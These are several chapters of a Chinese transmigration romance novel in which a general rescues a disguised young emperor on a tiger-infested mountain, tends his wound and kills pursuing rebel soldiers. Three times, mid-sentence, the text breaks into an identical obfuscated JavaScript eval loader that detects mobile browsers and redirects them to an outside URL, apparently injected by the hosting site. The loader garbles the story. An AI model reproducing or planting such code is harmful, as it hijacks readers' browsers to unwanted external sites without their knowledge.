“厮杀过程中,我们的人折损了不少,还好大将军吩咐留守的黑甲亲兵够多,不然怕是属下也小命不保。”厉寡言继续道:“活着的白甲兵已经被押在了地牢里,审问之事骠骑将军已经着人在办了。” “姓古的那对小夫妻呢?走了没有?”季桐一个头两个大。 “走了,今日中午就出发去绥石了,按您吩咐的还派了四个人保护。” 那还好那还好。 吓死了,万一男女主有事更麻烦。 “你先下去休息吧,找随行军医把伤看看,底下有伤的依次登记了排上,再将交州医馆里的医师征用一批过来。” “是,这些属下都会安排好。” 厉寡言退下之后,季桐下了马,将缰绳丢给了旁边的人,准备前往地牢。 却听小兵忙跑着来报,“季大将军!外面有个老人求见!事关白甲兵!他说一定要见大将军!” “让他进来。” 老人衣衫褴褛,像是逃难出来的,一见到季桐立马就跪了下来。 “大将军!草民不知犯了何事,一群白甲兵在两个时辰前路过草民家门口!说是让草民来刺史府,一定要大将军单独前去接人,还要,还要带上黄金百两……不然,就要杀了草民全家。” 老人家不懂朝堂纷争之事,只是一味地哭诉。 季桐着人安抚了老人,问了接人的地方,心下明白了秦笙的下落,立马安排了人去看守老人家门,并且沿路去追查逃走的白甲兵。 季桐皱着眉看着个个都负伤的黑甲亲兵,看来下次不管事大事小都得准备完全,本来带的军医就少,还出了这等子事,两边都要用人,军医根本就忙不过来。 她现在心急也没用,地牢还是得去一趟。 进了地牢,看到林明远身上绑得跟个白粽子似的,却还在认真审讯着,季桐颇为欣慰。 虽然林明远平日里看着不正经,但打起仗做起事来,还是很有将军风范的,哪怕是身负重伤也吼得中气十足。 “行了,别吼了,小心再把嗓子吼破了。”季桐上前摆了摆手,叫人先把那白甲兵给押下去。 “季大哥,我好着呢!”林明远不服。 “好着呢?”季桐拿拳头轻轻碰了碰他的胸口,他吃痛地往后缩了一下。 “不带这样的!” 季桐笑着扫视了一眼他身上的伤:“这回不是伤得更重了?不是说不敢大意了吗?” “没事儿,这算什么,以前比这重的伤不是没受过,再说了,这不都上过药了。”林明远“嘿嘿”笑着,“季大哥你人还怪好的。” 季桐无语。 “行了,审问的事交给宋廷尉,等交州刺史到了也让他参与进来,事关禁军,若是审问之间有任何问题就押往京城,执中尉也需要给个说法。” 专业的事交给专业的人。 “好吧。”林明远知道这事不归他管,但他是在季大将军和宋廷尉回来之前最高管事的,不得不审,现在人都回来了,自然可以去养伤了,但他还是很急,“可皇上怎么办——” 季桐把进地牢前听到的那老人的话又重述了一遍。 “那——这么说,意思是皇上被绑架了,要季大哥单独带着黄金百两去簌戚山赎人?!” “对。” “但是咱们出征哪儿带有黄金百两啊?”林明远挥着拳头,“再说了!怎么能让季大哥你一个人去?” “要么就是跟我有仇,要么就是对他们有利。”季桐思索了一下,“或许要黄金百两是假,兵符才是真。” 林明远嘴巴张成了个鸡蛋。 “不是,那这——这怎么办?!” “所以要辛苦你了,暂时不能好好养伤,表面上我单独去一趟簌戚山,你派人暗地里围山。” “季大哥你真要去?!” “不然?你敢让皇上在外面呆多久?” “不是这个意思,虽然我们都是忠于大邑的,但皇上不论是朝堂上的势力还是各大地方的民心都不如季大哥。”林明远说话有些结巴起来,连声音都小了,“那,那要是皇上出了什么意外……” 季桐懂他说的什么意思。 季家早在先帝时就已经势大力强,先帝子嗣稀薄,除了皇帝一个皇子,就只剩一个公主,皇家各个亲王又势弱依附季家。 若是皇帝出了什么意外,季家就算反了也不会失民心。 征战是为了大邑,但只是为了皇帝孤身犯险,就得不偿失了。 “这不是你该置喙的,好好布置围山的事。”季桐甩下这样一句话,大步出了地牢。 “哎!季大哥!那兵符你带不带啊?”林明远在后面喊。 “带。”季桐回头,“你觉得我号令二十万大军的时候靠的是兵符?” 林明远无话可说。 季桐耸耸肩。 说实话,原文中季止邪的人设背景都太过逆天,就算没有兵符,也多的是人愿意跟他走。 兵符是很重要,但它不是绝对的,为了保险起见当然是在自己手上最好,但如果遗失,季家也有的是办法。 军心都是有信仰的,而他们的信仰就是季大将军,这个带着他们打了一场又一场胜仗的常胜将军。 他与每个将士都是十年的生死之交。 虽然季桐穿过来才两个月,但这种感觉她能切实感受到。 季桐翻身上马,一声“驾”还没喊出口,又一个传讯兵喊住了她。 “大将军,有情侦处的信,您先前特意嘱咐过的地方送来的。” 是青州。 那就是她表妹‘季桐’的信了。 季桐接过信,匆匆全扫了一遍。 之前她写给表妹的信上主动隐晦地提及了穿书一事,并问她想不想回家。 现在回信上说她原名叫傅箐,特别想家,之前因为食物中毒看到了爸妈,就想着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16176851|180149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能不能靠着啃见手青再见见爸妈,哪怕死了也无所谓,就是不知道死了能不能直接回去。 季桐万万没有想到,让男女主身陷险境居然是这种离谱的原因。 信上还说,只要能回家,她愿意帮忙做一切事。 季桐要的就是这个效果,但她现在没时间回信,于是将信纸折了折撕了个粉碎,碎渣丢进了一旁的石塔灯里的蜡烛上。 —— 明月高照。 簌戚山的雾很大,听山脚下的山民说这山的雾终年难散,夜里还很容易下雨,暴雨冲刷在峭壁上,树上会挂许多水珠,在大风中发出簌簌的声响,因此得名簌戚山。 这地方地势很复杂,即使是大风,也吹不散这雾。 寒鸦叫声略过,季桐拉住缰绳,看到一旁的树下有一截染血的布条。 季桐下马仔细检查了周围,有人活动的迹象,布条是上好的月华锦,像是从袖口上扯下来的。 看来秦笙已经自己想办法逃出来了,白甲兵逃出来的人数很少,最多十人,不足以大范围搜山,秦笙应该靠系统绕开了他们,然后给她留了记号。 只是,这好一会儿都没有电流声了。 此前她不急也是因为电流声时不时响起,知道他没有多危险。 季桐加紧了搜寻的脚步。 簌戚山雾大得难以看清地面,季桐一路走一路拂开树枝,转了两圈才寻到了下一处记号,是山石上的刻文,一个‘π’字。 季桐无语得笑了。 再绕过一片树林,又费了三个小时,她终于发现了这个隐秘的山洞。 现在天光都已经微微亮了。 撬开遮挡的碎石和灌木,洞口只有半人高,季桐猫着腰进了山洞。 洞中地面的泥土上有一点血迹,不多,却触目惊心。 自从季桐跟秦笙在一起,她就没见他受过伤。 此时她有了一点愧疚之意,但不多。 再往里走,看到秦笙躺在一块不太平整的石板上,也不知道是昏迷了还是睡着了,洞中光线昏暗,年轻的帝王失去了平日里装出来的威严和距离感,几缕细软的青丝被薄汗黏在他的鬓角。 季桐小心地坐到了他旁边。 呼吸很平缓,不是昏迷,应该只是累得睡着了。 虽然现在的秦笙和原本的样貌不太像,但季桐还是读出了相似的味道,一样的矜贵,一样的像个高冷的小猫,只有睡着时才柔软下来。 她忍不住抚拨开了那几缕青丝。 一旁也睡着的456突然惊醒,忙滚到秦笙的手边:【快醒醒!快醒醒!大将军来了!】 白面团子急得不行,没有实体的身子扭来扭去也推不动人。 季桐无视了它。 将自己身上坚硬的甲胄脱下,然后轻轻抱起了秦笙往石板中间坐了点。 456头上冒出了一个脸蛋绯红的表情包,然后转了个身,虽然白面团子对季桐来说根本分不清正反面,但能看到表情包镜像了那就是背面。 季桐低头看着睡得恬静的秦笙,心里多了一分柔软。 她仔细检查了,秦笙身上只有一处伤就是手臂,已经被包扎过了,但还是有血迹浸出来。 她挪动了一下,换了个抱人的姿势,不知磕到哪里,秦笙突然闷哼了一声。 季桐立马屏住呼吸。 19. 第十九章 秦笙并没有醒。 季桐松了口气,又去检查了一下,发现是他小腿有一块乌青,刚刚调整抱姿的时候不小心碰到了。 出来的时候她没想到过是这种情况,早知道带点金疮药和被子来了。 现在她浑身上下除了一把佩剑就什么也没有了。 还好,骑了马进山的,等秦笙睡醒,就可以带着他直奔山下。 这地方隐蔽,秦笙又做事谨慎,定是反绕过才决定在这里休憩的,簌戚山地宽山高,那群白甲兵估计一两天都找不到。 找到也不怕,她一个人不说打一百个,武器相当的情况下十个人里游龙问题不大。 但是在需要保护人的情况下,还是能不正面起冲突最好。 就像是电视上发生过的绑架案一样,围观的人总是觉得上百个人被一个绑匪限制着很蠢,觉得一枪崩了就好了,实际上根本没考虑人质的安危。 季桐渐渐也有了些睡意,白天攻山费力,夜晚又处理了一大堆事费神,半夜上山寻人又费心费力,直到天光微亮才好不容易坐下,她也很累。 她就这样抱着秦笙沉沉睡了过去。 以前也有过这种温馨的时光。 她跟他刚刚在一起没多久的时候,秦笙还没有那么古板木讷,看着挺让人觉得温柔顺从的,只是不知道怎么了,时间越长,就越是没人情味儿起来。 他俩之间也就慢慢感情淡了。 倒是也没见他多看别的女人,不知道他心里是怎么想的。 觉得就这样搭伙过日子很好,还是觉得她一直不松口结婚的事,累了? 迷迷糊糊间,听到456吵闹起来,山洞外还有一些嘶鸣声。 季桐睁开眼,发觉怀里的人还是没有苏醒,她轻轻将人从怀里提起来,再小心地放在铺了衣物的石板上。 456:【救救救!妈妈!】 什么东西? 系统还有妈妈? 456:【外面有老虎!不会发现我们吧!宿主宿主你醒醒啊——】 坏了,是马! 怪她没有意识到这个问题,古代山林本来生态就好,财狼虎豹更是多到成患。 她瞟了一眼垫成枕头的甲胄和垫成床单的衣服,再低头看看自己一身内衫单衣,没办法,摸起靠在石板旁的剑就往山洞外赶。 456:【不要去啊!外面好几只大老虎!马儿已经没了QAQ】 季桐脚步微顿。 打一只问题不大,但这不是玄幻文,也不是有内力的武侠文,她武功再强也没法跟几只老虎同时搏斗。 洞外动静渐渐小了,说明老虎没有发现这个隐蔽的山洞,她进来之前也用石头树枝将洞口遮掩的很好,还特意清理了痕迹和气味,此刻明哲保身才是最好的方法。 至于马,算了,大不了就是下山更麻烦些。 456高兴得转圈圈:【咦~真不去啦?嘿嘿我的操控术好好用呀!咻咻咻!芝麻开门!】 季桐:…… 神经。 季桐给了它一个白眼。 秦笙额上冷汗沾湿了头发,黏糊糊的感觉令他连睡梦里都是在湿沼中一般,腰酸背痛,手臂上传来麻木的疼痛感。 连胃部也有些绞痛,只是身下的石板似乎没有来时那么硌人了。 有人找来了吗…… 秦笙费劲地睁开双眼,感觉连睫毛都是沉重的。 整个眼前的画面都有些昏暗模糊,只隐约看到个很高大穿着白衣的人,不抬头似乎都不能将他完全收拢眼底。 于是他用完好的手臂将自己身子撑起来,微微抬头去看他。 那人正好转过身来,眼神里皆是蔑视,俯视着他。 季止邪。 怎么只穿了一件中衣…… 秦笙皱着眉低头,干涸的唇角溢出对方的称呼:“季大将军。” 季桐勾起嘴角,觉得他这副样子实在是太好看了,不忍打破这个场面,于是什么话都没说。 秦笙眉头皱得更厉害了。 秦笙:【他什么意思?不仅蔑视我,还嘲笑我?】 456此时飞到了秦笙身旁,高兴得不得了:【没有呀,大将军可好了,秋里天气凉,生怕你冻感冒了,抱着你睡了四个小时哦,还给你垫了衣服~嘿嘿,今天还差三个小时任务进度+1。这种两人空间最好了,加油努力!我继续屏蔽自己一会儿!】 秦笙:【……】 秦笙:【你是说,他……他。】 秦笙这种话不仅羞于说出口,连内心都说不出来。 可456现在根本不理他,已经呼呼大睡。 他闭上眼睛深呼吸了两次,平复了一下心情,告诉自己这是正常的,他不知道自己现在是女身,兄弟间在这种艰险的情况下互相靠着取暖再正常不过了。 再说了,确实人很好,还给自己垫了衣服。 “季大将军,带朕出去吧。”秦笙只得这么说一句。 “那可不行。”季桐想也没想就回绝了。 秦笙不知道他被做绑票这事,自然是以为带了大队人马来找到他,现下听着外面安安静静,山洞里除了他又只有季大将军一个人,心里明了。 “怎么回事?” 季桐将昨夜发生的事说了个清楚,又讲了前因后果,最后才说外面现在虎群还未散去,很危险,只能留在洞中。 秦笙表示理解了。 季桐:“那皇上呢,怎么被绑的,又是怎么逃出来的?” “昨天下午白甲兵说奉大将军之命转移住处,被你的黑甲兵发觉不对劲,两支精锐火拼起来,都快打得要分出胜负了,厉校尉前去捉拿头目,结果白甲兵趁乱绑了我从密道逃窜走了。” 秦笙顿了顿,有些不好意思,“至于逃出来,是系统帮我的,花了些积分,但因为积分不多,所以就只能先找到了这个安身的地方。” 具体的他不说,季桐也懒得问,总之就是超自然事件呗,反正都穿书了,能有啥不合理的。 季桐点了点头,随口提醒:“记得自称‘朕’。” “这里没有其他人。”秦笙有些不悦,“都是新时代人民,还搞什么封建称谓。” “那皇上刚醒的时候不也称呼我为季大将军吗?” “第一,你没有说过你的真实姓名,第二,我以为后面还有人马。”秦笙有些气恼,“第三,你不也称呼我为皇上?” “事实如此,您就是皇上,我爱这样叫。”季桐耸肩,“但是皇上如果没有养成自称‘朕’的好习惯,万一口误可怎么好?” 秦笙一口气提不上来,被噎得不知道说什么好,这人什么都好,就是不着调,想一出是一出。 索性他转了身,不再说话。 季桐难忍的嘴角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186802|180149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终于裂开,无声地笑起来。 然后上前从背后拢住他,“皇上——” 这一动作吓得秦笙差点跳起来,但手伤腿伤都不允许如此,只能恶狠狠地放话:“放肆!你干什么?!” 季桐拽过他,伸手掐住他的下巴,秦笙因身高差不得不仰头看她,脸颊微红,也不知道是缺氧还是觉得羞耻。 他眼尾泛着红,胸膛被气得一起一伏,因为挣扎不开而呼吸急躁,月牙色的衣衫领口刚刚被拽得开了大半,差一点就要露出束胸布。 “皇上……还是听微臣的比较好。”她小声在他耳边道。 他这个样子实在是太好欺负了。 不同于以往,他如高岭之花,一身板正的黑色西装,清冷疏离,虽然对自己言听计从,却不知情识趣,从不肯多说多做,像个没有心的听话人偶。 远不如现在有活气。 她从不知道他内心世界竟然这样丰富。 秦笙被耳边热气激得差点腿软,忽地使了浑身力气,硬生生将面前的人推开了半分,咳着呛了好几声,“季止邪!虽然你没有告诉我真名,但以秦家的能力,不难查到,季大将军好自为之。” 说完他从石板上爬起来,下了地,踉跄着头也不回地离开。 季桐站在原地呼吸了一口空气,觉得此刻连空气都是香甜的,嘴角疯狂上扬,心里的欢愉简直要溢出来。 看来他是真的很害怕被发现他现在是女身。 在秦笙即将走去洞口的时候,季桐终于叫住了他:“外面很危险。” “我看山洞里也一样危险!”秦笙没好气道,“我看你老家不是银川的,是川渝的。” “……”季桐愣了一瞬,然后大笑起来。 笑得她蜷在地上,差点直不起腰来。 半晌后,季桐终于收敛了下来,两眼弯弯道: “没有的事,皇上,微臣只是觉得您有趣,多调笑两句罢了,再说了,这荒郊野外的,暂时吃不上饭,给您逗乐解闷来着,转移转移注意力嘛。” “彳亍。” 秦笙没话说。 他转身气冲冲地走回石板床,捞起两件衣物盖在身上,直挺挺躺了下去,又翻了个身。 季桐没再继续这个话题,只道:“皇上,等下我出去看看有没有什么吃的,说不定底下的人已经找上来了。” “你不是说外面很危险吗?” “对啊,对您来说很危险。” “……” 他就不该问。 耳朵里的脚步声渐渐走远,秦笙还是没忍住,坐起身来,提醒道:“底下人来得不会那么快,簌戚山虎患严重,又自带瘴气,不然也不会整座大山都空无一人。” “我,我来的时候听山脚下村民说的。”他补了一句,“你出去自己小心。” “哦,多谢皇上关心。”季桐又起了逗他的心思,“皇上对微臣这么好,微臣要给您一个好消息。” “什么?” “微臣有个妹妹叫季桐,好像跟皇上梦里呓语的名字很像。” “这个我知道,因为身体抱病没参加秀女大选。”秦笙了解过一点,但当时他早就放弃了靠名字来找人的方法,也就不是很在意。 “哦?皇上竟然知道。”季桐挑眉,“那皇上知道,微臣这个妹妹正是在青州养病吗?” “你说什么?!” 20. 第二十章 “你说什么?!” 秦笙肉眼可见的激动起来,连瞳孔都放大了。 “那你为何不早说?!” “皇上此前也并没有告知过微臣您的未婚妻叫什么啊,这还是微臣刚刚听您睡梦中喊的名字才想起来的。”季桐眨眨眼表示无辜。 秦笙沉了一口气。 456说穿书女在青州,现在季止邪说他妹妹也在青州,而且就叫季桐,456之前就说过,不带系统的人意外穿书的话同名同姓的灵魂是比较容易匹配上的。 但究竟是不是,他还是需要见了才知道。 不能急,现在最重要的是安全回宫,才有机会再去青州。 “那就辛苦季大将军了。”他及时低了头,“我不挑食,活着就好。” 季桐笑着出了山洞。 虽然已经是晌午,但山雾已经浓重,露水都挂在高耸入云的枝丫上,时不时垂落,滴在季桐的肩上,透过白色单衣渗入皮肤。 现在已经是晚秋的日子了,这就一件中衣裹身,不穿外衫不穿甲胄是真的有些冷。 但想了想秦笙现在那个身体,还是留给他比较好。 季桐绕开了远处马匹的尸体,说是尸体其实已经连残渣碎肉都不剩了,地上只有一些没有完全舔干净的骨头和血水渗入泥土。 野兔没看到,她用树枝做了一个简易的弹弓,从天上打了两只小鸟下来,凑合一下。 溪流也没找到,这簌戚山怪得很,走出一段路就感觉有些难以辨别回去的路线了。 于是季桐只能随便摘了些果子,提上两只鸟就回去了。 “你就给朕吃这个?” 秦笙从她手里抓过一个果子,上面还有虫蛀的小洞。 他将虫蛀的那一边往她眼前晃。 季桐将果子和小鸟放在了一旁的石头上,再接过秦笙手里的果子,“那也没办法啊,皇上不是说不挑食吗?” 秦笙皱眉:“不挑食也不是说虫蛀过的果子也吃啊,你好歹挑一下。” “皇上恕罪。”季桐拍了拍衣裳上的灰,似笑非笑地回了一句,“主要是没虫蛀过的果子微臣也不敢确信它是有毒没毒能不能吃啊。” 季桐用佩剑在果子上精巧地挽了个花,仔细擦拭过后递回给他:“喏,可以吃了。” “……”秦笙面无表情地接过,倒也没说什么,默默啃了一口。 很甜,也很多汁,没入齿间,顺着喉咙滑过,填补了绞痛的胃部。 季桐自顾自地从山洞外捡了些稍微干燥些的柴火,又捡了两块石子打火,半晌才点燃,洞中终于燃起了取暖的明焰。 “去把洞口的石头和树枝撤开些。”季桐叫他。 “不说外面危险吗?” “如果不通风,危险就是我们了。” “对不起,我忘了。”秦笙脸上突然臊得慌。 季桐将两只小鸟穿好开烤,目光却盯着秦笙去洞口的背影,心底觉得好笑。 其实秦笙不是不知道这些常识,可是喊着金汤匙出生的他又怎么会真的亲身经历过。 偶然忘了是正常的。 两人终于吃上了不太像样的一顿餐,烤熟的鸟肉并不好吃,没盐没味的,只能说是果腹罢了。 456醒来时还问,为什么任务进度还卡在4小时。 秦笙没有理它,拿着个树枝在地上戳戳画画。 季桐靠近看了一眼,像是写意山水画,她想到了自己之前包好的那把青玉扇,本来打算送给秦笙的,可找不到合适的时间,也找不到合适的理由。 秦笙的手纤长白嫩,其实跟现实中的他挺像的,也是纤长且白,骨节分明,连关节处都泛着粉色。 顺着手腕,季桐的目光向上移了几分。 还在渗血。 季桐抓过他的手腕,秦笙一愣。 “你又干什么?” “拆了,看看伤口。” “我没事。”秦笙脸色很不好,试图甩开对方的手。 季桐哪里会让他如愿,生拖硬拽地将人掳到石板床上坐着,粗暴地扯开了秦笙手臂上缠着的白布。 秦笙疼得倒吸一口冷气。 一道长长的划痕,血肉都看得见,周边已经起了红肿,伤口暴露在空气中只是微风拂过都令他咬牙忍痛。 “还不处理,再拖下去就化脓了。” “不是什么大事,反正回宫总会有太医能治好。” “不是什么大事?!”季桐被他这个想法气得忍不住语气重了些,“你知不知道,伤口感染之后,细菌大量繁殖,是可能死人的。” “……” “还是说,皇上就是希望自己因感染而发热,然后微臣好好照顾你呢?”季桐加重了“照顾”两个字。 “那你处理吧。”秦笙嘴里快速碾过几个字。 其实季桐也没什么办法,只能轻轻刮掉伤口上有脏污的地方,再拿块干净的布当绷带,正要重新包扎的时候,季桐忽然想起来旁边还有个看戏吃瓜的456。 “冒昧的问一下,皇上现在还有多少积分?” “25分。” “可以兑换酒吗?” 秦笙不可置信地抬眼:“你现在还想喝酒?” 季桐给气笑了:“不是,看你伤口感染成这样,得消毒。” 秦笙冷哼一声,“那兑换自带酒精的消毒棉签不是更好?” 季桐点了点头,“有吗?” 秦笙:【有吗?】 456:【没有呢……】 秦笙:【那有酒吗?】 456:【有的有的,桃花酿,1积分哦。】 秦笙:【……换吧。】 季桐听得想笑,硬生生忍住了,在秦笙凭空拿出酒壶后,调侃了一句:“看来是只有酒。” 秦笙斜了她一眼,然后将酒壶递给她,“给。” 季桐认真地给他处理起伤口,秦笙也是真的很能忍耐,酒撒伤口如同撒盐,不疼是假,她时不时抬眼去观察他的神情。 跟以前一样,什么事都喜欢憋在心里。 季桐很难不在这种情况下想使坏,于是她捏着布条按压伤口的指头微微用力,肉眼可见的秦笙手臂颤抖了一下。 再去看他眉眼,已经皱得像个苦命至极的人,喉间却除了吸气什么也不肯发出。 欣赏了几秒,季桐再次认真地清理伤口,然后仔细包扎好,“好了。” “不过,既然你的系统可以换酒,应该也可以换吃食,之前饿成那样为什么不换?” “积分是拿来救命的。完成剧情我们是能回去不错,但回去了我们也是死尸一具,需要积分改写时间。”秦笙的回答很执拗,“平常最好不要动积分。” “好吧,我记得皇上之前刚坦白这事的时候说需要微臣帮忙来着,是任务能拿积分对吗?那怎么不见皇上找我帮忙?” 季桐有意调笑他,秦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16196402|180149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笙不知想到了什么,耳根透红,将袖子放了下来遮住包扎好的伤口,转过身躺下了。 看来是不准备回答这个问题。 季桐一屁股坐在地上,背靠在石板床尾,手里抱着佩剑,准备眯一会儿,早上就睡了四个小时,现在吃了东西更是困得不行。 但后背的石头又实在是硌人。 睡不着。 完全睡不着。 过了一会儿,季桐仿佛听到了些轻微的呓语声。 季桐起身查看,发现秦笙竟然肩膀在发抖,她将手掌覆在他的额头,果然发烫。 竟然真的病了。 “皇上,听得见吗?”她拍了拍秦笙的脸颊。 “……嗯。”秦笙无意识地蹭了一下她温热的掌心。 他脸色惨白,呼吸急促,眼睛微微闭着,却又看似想努力地睁开,“冷,好冷。” 极短的音节从他唇缝间溢出,再没有别的话。 季桐坐了上来,轻轻将人搂在怀里,身子冰冰凉的,额头却发着烧,整个人都颤抖着。 她偏头去看456,却发现456不知何时又掉线了一样,没有任何动静。 “我背你下山,很快就能找到人来接我们。” “不。” “嗯?”季桐不知道他要说什么,只感觉眼前这人此刻脑子很不清醒。 “要……睡觉……困。”断断续续的话从他喉间发出。 “好。” 季桐没有办法,只能紧紧抱着他发颤的身体。 秦笙似乎已经彻底失去了意识,他反手搂了上来,像是在偌大的洪水激流中找到了唯一的浮木,不肯撒手。 疲倦困顿终于席卷而来。 季桐也得了一个好眠。 —— 季桐是被踹醒的。 湿润的空气,昏暗的山洞,季桐迷迷糊糊的感觉自己后背被踹了好几下,然后顺着滚了一下,就摔在了地上。 季桐睁开眼,秦笙坐在石板床上,眼神冷的像是要杀人。 456:【任务进度+1,还多出来五小时,给你记上了。】 秦笙:【闭嘴。】 他很气恼,他睡醒时还无意识地蹭了一下甲胄衣物叠做的枕头,才发现自己竟然在季止邪旁边就睡着了。 不仅睡着了,而且是前所未有的恬静。 季桐揉了揉腰,若无其事地站了起来,“皇上身体好些了吗?还发烧吗?” “好多了。”秦笙冷冷答。 “那就好。”季桐默默地整理石板床上的衣物,“火我早就灭过了,但麻烦皇上检查一下火堆是否还有残留的火星子,免得引火烧山。” “要下山了吗?” “嗯。”季桐拍了拍灰,将衣服内外衫都穿好,将甲胄搁在了石板上,抬头笑问:“难不成皇上还想跟微臣上演山野情趣戏码?” 说着她低头嗅了嗅自己衣物上的味道。 “你!”秦笙想骂人却不知道骂什么。 “别‘你你你’了,过来。”季桐将甲胄拾起,披在了秦笙肩膀上比了比,“好像大了很多,能穿吗?” “你不穿?” “我的好皇上,您安危明显比我重要吧?再说了,我得背您下山,万一后面有人偷袭,你不就成靶子了?”季桐苦口婆心。 秦笙咬了咬下唇,接过甲胄,套在了自己身上。 沉甸甸的,甲胄片铛鎯作响,坚固硌人。 21. 第二十一章 簌戚山像个原始森林一般,地处交州,空气湿润,是蛇虫鼠蚁最多的地方。 季桐穿过一处又一处青苔布满的残枝树丫,水汽重的感觉每一口呼吸都能呛到人。 雾气缭绕,超过几米就什么也看不清,只能凭借她的耳力来判断远处是否有危险。 背上的秦笙还在呼唤系统。 秦笙:【456——456你人呢?】 此刻的456虽然身子一直跟着秦笙在飘,但却明显是个空壳子,一点动静都没有。 过了好一会儿,才有了声音。 456:【啊?宿主你叫我?】 秦笙:【我怎么感觉你最近话变少了。】 456头顶发出了一个很愧疚的表情:【对不起宿主,同事跟我说我现在这个太简单了可能要双开一个项目,上头忙不过来,抓我顶包呢,偶尔我同事也会来替班一下。】 秦笙:【还有这种事…】 秦笙:【但是你这么笨,啊不是,你这么可爱,它们忍心吗?】 456颓颓的,连身上的棉花都耷拉着:【哎…不说了,加班去了,宿主你好好的,有危险就找大将军,我看过了,接下来的剧情男女主都甜甜的,大背景没怎么描述,跟你们应该没啥关系,别跟大将军起冲突就行。】 456:【啊对了,还有个事,同事跟我说,因为bug穿书的人没有系统,通常都是魂穿到某个角色身上,魂穿的弊端比较多,可能会影响穿书者的意志性格。】 秦笙:【比如?】 456:【比如一个很活泼阳光的穿书者穿到一个很想死的角色身上,后期可能是会被慢慢同化这种想法的,所以大将军可能还是会喜欢你,所以别想着用别的方法完成大背景剧情了,你逃不掉这个命运的,早点让他发现是女身,他还不用纠结这么多。】 秦笙:【我自己有分寸。】 456:【好吧,我去加班了,我会随时回来看你的宿主,有需要就大声叫我,我能听见。】 秦笙心底生出一种莫名的失落。 孤身一人在异世就像是人在他乡,再找不到能倾诉的人。 山路陡峭,路上障碍物又太多,季桐意识到背着人非常影响开路后,扯了腰带将秦笙绑在了自己背上,这样只需要偶尔单手扶一下就不会掉了,另一只手可以拿剑来劈砍树枝障碍物。 “其实,我能走。”秦笙对她这个行为颇为不满,好像自己是个婴儿一样。 “你走得慢。” “哦。” 天色渐渐又暗了下来,季桐感觉自己已经走了七八个小时,双腿已经有些麻木。 她确信自己没有走过回头路,一路下来她都有做标记。 “往右,我记得上山时我也看到了这棵普洱树。”秦笙提醒道。 “记性这么好?” “不是,是它真的很大。” “嗯,是挺大的。”季桐拍了拍树干,起码四五人围抱才能揽完。 “是大的都能记住吗?”季桐问。 然后她后脑勺挨了一记巴掌。 “哈哈哈哈哈——”季桐实在是没忍住,对不起,她脑子里突然就想到了以前遇到过的油腻男,说什么都能跟“大”字扯上关系,然后开个黄腔。 “不许笑。” “闭嘴。”季桐忽然叫住他。 “你——”秦笙有些委屈,明明是这人先挑得头,却又叫他闭嘴。 “嘘。”季桐刚才笑完就立马敛了声音,因为她听到了一些不一样的风声。 夜星散落在天幕中,几声不知是寒鸦还是夜莺啼过,带着狼嚎。 不是,是脚步声踩在碎枯叶上的声音。 季桐本有些麻木的腿部又瞬间跟打了药一样,充满了逃命的生命力。 秦笙不由得加重了手里的力道,紧紧搂住身前人的脖子。 “有没有可能是厉校尉或者林将军?”他小声在她耳侧道。 “他们会骑马,不会步行。” 开玩笑,有马不骑王八蛋,何况那两个人现在身上伤都没好全。 簌戚山燃起了一个又一个灯笼。 很快,马蹄声也出现了。 “东北方,马蹄声在东北方。”季桐欲将背后的人放下来。 “怎么不走了?”秦笙顺着她的动作解开绑带。 “你往那边跑,来接应的人就在东北方向。” “你呢?!” “清汤大老爷!我背着你跑不了更快了,那些反贼马上就追上来了。”季桐将秦笙身上的甲胄整理了一下,检查确认不会脱落后才道:“我能打,你不能打,你跟着我只会影响我出剑的速度。” …… 秦笙最终是什么也没说,踉跄着朝东北方走远,一步三回头,最后还是加快了脚下的速度。 箭矢破空发出声响,季桐剑尖微斜轻轻一挑,击落了箭矢。 斜瞥了一眼后主动迎了上去。 她不喜欢杀人,更不喜欢热血洒脸的感觉,但为了保护自己身后的人,这些不算什么。 白甲兵如她所想,人数不多,不足十人。 一剑横出,砍中了围着她最近的三四个人,她不解气地趁着空隙将剑柄反握,直直地戳进了其中一人的头颅中,霎时间血溅三尺高。 风在林间穿啸,鲜红的血液在黑夜下并不明显,但地面还是渐渐被染得没了泥土的颜色。 不出十几分钟,白甲兵就再无活口。 她踢了踢脚边的尸体,才意识到身后已经被暖黄色的光笼罩。 “吁!——” 季桐转头看去,秦笙被精锐队围在中间,坐在马上。 他们接到人了,也循着白甲兵的惨叫声和刀剑激斗的声音找到了她。 “对不起,忘记留活口了。”季桐擦了擦嘴角的血迹。 “大将军,您没事吧?”厉寡言翻身下马。 “没。”季桐周遭的气氛有些沉重,众人都不敢说话。 她拍了拍马匹,“回去吧,记得留人在此处查验尸体。林明远人呢?” 